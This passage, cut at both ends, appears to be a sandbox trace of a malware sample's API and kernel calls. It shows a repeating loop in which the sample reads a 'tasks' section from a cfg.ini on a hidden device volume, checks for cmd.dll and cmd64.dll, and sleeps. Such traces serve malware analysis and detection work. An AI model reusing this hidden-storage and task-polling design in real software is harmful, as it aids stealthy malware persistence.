_Dest="cfg.ini") returned="cfg.ini" [0122.977] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.977] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003825ba0 [0122.977] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.977] KeLeaveCriticalRegion () [0122.977] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.977] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.978] KeEnterCriticalRegion () [0122.978] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.978] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.978] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.978] KeLeaveCriticalRegion () [0122.978] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.978] KeEnterCriticalRegion () [0122.978] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.978] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.978] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.978] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.978] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.978] IdePortDispatch () returned 0x103 [0122.978] KeWaitForMutexObject () returned 0x0 [0122.978] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.978] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.978] KeLeaveCriticalRegion () [0122.978] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.978] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.978] KeEnterCriticalRegion () [0122.978] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.978] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d89000 [0122.978] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.978] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.978] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.978] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.978] IdePortDispatch () returned 0x103 [0122.979] KeWaitForMutexObject () returned 0x0 [0122.979] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.979] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.979] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.979] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.979] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.979] IdePortDispatch () returned 0x103 [0122.979] KeWaitForMutexObject () returned 0x0 [0122.979] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.979] KeLeaveCriticalRegion () [0122.979] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.980] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.980] KeEnterCriticalRegion () [0122.980] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.980] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.980] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.980] KeLeaveCriticalRegion () [0122.980] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.980] KeEnterCriticalRegion () [0122.980] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.980] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.980] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be7120, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.980] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.980] KeLeaveCriticalRegion () [0122.980] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.980] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.980] KeEnterCriticalRegion () [0122.980] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.980] ExFreePoolWithTag (P=0xfffffa8003825ba0, Tag=0x0) [0122.980] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.980] KeLeaveCriticalRegion () [0122.980] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.980] ReleaseMutex (hMutex=0xf0) returned 1 [0122.980] Sleep (dwMilliseconds=0x927c0) [0122.984] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0122.984] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0122.987] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0122.987] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.987] KeEnterCriticalRegion () [0122.987] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.987] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.987] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.987] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.987] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0122.987] IdePortDispatch () returned 0x103 [0122.987] KeWaitForMutexObject () returned 0x0 [0122.988] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.988] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.988] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0122.988] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0122.988] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0122.988] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003be9e10 [0122.988] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.988] KeLeaveCriticalRegion () [0122.988] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.988] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.988] KeEnterCriticalRegion () [0122.988] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.988] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.988] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.988] KeLeaveCriticalRegion () [0122.988] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.988] KeEnterCriticalRegion () [0122.988] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.988] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.988] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0122.988] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0122.988] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0122.988] IdePortDispatch () returned 0x103 [0122.988] KeWaitForMutexObject () returned 0x0 [0122.988] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.988] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.988] KeLeaveCriticalRegion () [0122.988] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.988] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.988] KeEnterCriticalRegion () [0122.988] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.989] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d8c000 [0122.989] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.989] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.989] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.989] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.989] IdePortDispatch () returned 0x103 [0122.989] KeWaitForMutexObject () returned 0x0 [0122.989] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0122.989] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0122.989] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0122.989] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0122.989] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0122.989] IdePortDispatch () returned 0x103 [0122.989] KeWaitForMutexObject () returned 0x0 [0122.989] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.989] KeLeaveCriticalRegion () [0122.989] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.990] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.990] KeEnterCriticalRegion () [0122.990] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.990] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0122.990] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.990] KeLeaveCriticalRegion () [0122.990] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.990] KeEnterCriticalRegion () [0122.990] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.990] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0122.990] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003be9ed0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0122.990] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.990] KeLeaveCriticalRegion () [0122.990] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.990] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0122.990] KeEnterCriticalRegion () [0122.990] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.990] ExFreePoolWithTag (P=0xfffffa8003be9e10, Tag=0x0) [0122.990] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0122.990] KeLeaveCriticalRegion () [0122.990] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0122.990] ReleaseMutex (hMutex=0xf0) returned 1 [0122.990] Sleep (dwMilliseconds=0x927c0) [0123.001] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.001] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.001] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.001] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.002] KeEnterCriticalRegion () [0123.002] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.002] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.002] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.002] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.002] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.002] IdePortDispatch () returned 0x103 [0123.002] KeWaitForMutexObject () returned 0x0 [0123.002] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.002] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.002] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.002] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.002] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.002] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbeaf0 [0123.002] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.002] KeLeaveCriticalRegion () [0123.002] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.002] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.002] KeEnterCriticalRegion () [0123.002] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.002] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.002] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.002] KeLeaveCriticalRegion () [0123.002] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.002] KeEnterCriticalRegion () [0123.002] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.002] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.002] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.002] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.002] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.002] IdePortDispatch () returned 0x103 [0123.003] KeWaitForMutexObject () returned 0x0 [0123.003] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.003] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.003] KeLeaveCriticalRegion () [0123.003] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.003] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.003] KeEnterCriticalRegion () [0123.003] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.003] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88002d90000 [0123.003] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.003] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.003] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.003] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.003] IdePortDispatch () returned 0x103 [0123.003] KeWaitForMutexObject () returned 0x0 [0123.003] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.003] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.003] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003b863b0 [0123.003] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0123.003] KeInitializeEvent (in: Event=0xfffff880028cc5d0, Type=0x0, State=0 | out: Event=0xfffff880028cc5d0) [0123.003] IdePortDispatch () returned 0x103 [0123.004] KeWaitForMutexObject () returned 0x0 [0123.004] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.004] KeLeaveCriticalRegion () [0123.004] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.004] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.004] KeEnterCriticalRegion () [0123.004] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.004] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.004] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.004] KeLeaveCriticalRegion () [0123.005] _snprintf (in: _Dest=0xfffff880028cc750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.005] KeEnterCriticalRegion () [0123.005] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.005] IoGetRequestorProcess (Irp=0xfffffa80039d7d20) returned 0xfffffa80034fca60 [0123.005] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa80038276f0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0123.005] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.005] KeLeaveCriticalRegion () [0123.005] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.005] _snprintf (in: _Dest=0xfffff880028cc770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.005] KeEnterCriticalRegion () [0123.005] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.005] ExFreePoolWithTag (P=0xfffffa8003bbeaf0, Tag=0x0) [0123.005] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.005] KeLeaveCriticalRegion () [0123.005] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.005] ReleaseMutex (hMutex=0xf0) returned 1 [0123.005] Sleep (dwMilliseconds=0x927c0) [0123.018] VirtualAlloc (lpAddress=0x0, dwSize=0x5000, flAllocationType=0x3000, flProtect=0x40) returned 0x390000 [0123.018] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0123.018] GetPrivateProfileSectionA (in: lpAppName="tasks", lpReturnedString=0x390000, nSize=0x5000, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini" | out: lpReturnedString="") returned 0x0 [0123.018] _snprintf (in: _Dest=0xfffff880028cc450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.018] KeEnterCriticalRegion () [0123.018] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.019] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.019] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.019] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.019] KeInitializeEvent (in: Event=0xfffff880028cc2c0, Type=0x0, State=0 | out: Event=0xfffff880028cc2c0) [0123.019] IdePortDispatch () returned 0x103 [0123.019] KeWaitForMutexObject () returned 0x0 [0123.019] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.019] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.019] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0123.019] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0123.019] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0123.019] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa8003bbed10 [0123.019] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.019] KeLeaveCriticalRegion () [0123.019] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.019] _snprintf (in: _Dest=0xfffff880028cc780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.019] KeEnterCriticalRegion () [0123.019] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.019] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa80039d7d20, Context=0x0) returned 0x0 [0123.019] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.019] KeLeaveCriticalRegion () [0123.019] _snprintf (in: _Dest=0xfffff880028cc790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0123.019] KeEnterCriticalRegion () [0123.019] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.019] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8003aa6e20 [0123.019] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8003aa6e20 | out: Irp=0xfffffa8003aa6e20) returned 0xfffffa8003baf190 [0123.019] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0123.019] KeInitializeEvent (in: Event=0xfffff880028cc620, Type=0x0, State=0 | out: Event=0xfffff880028cc620) [0123.019] IdePortDispatch () returned 0x103 [0123.019] KeWaitForMutexObject () returned 0x0 [0123.019] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0123.019] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0123.020] KeLeaveCriticalRegion () [0123.020] IofCompleteRequest (Irp=0xfffffa80039d7d20, PriorityBoost=0) [0123.020] 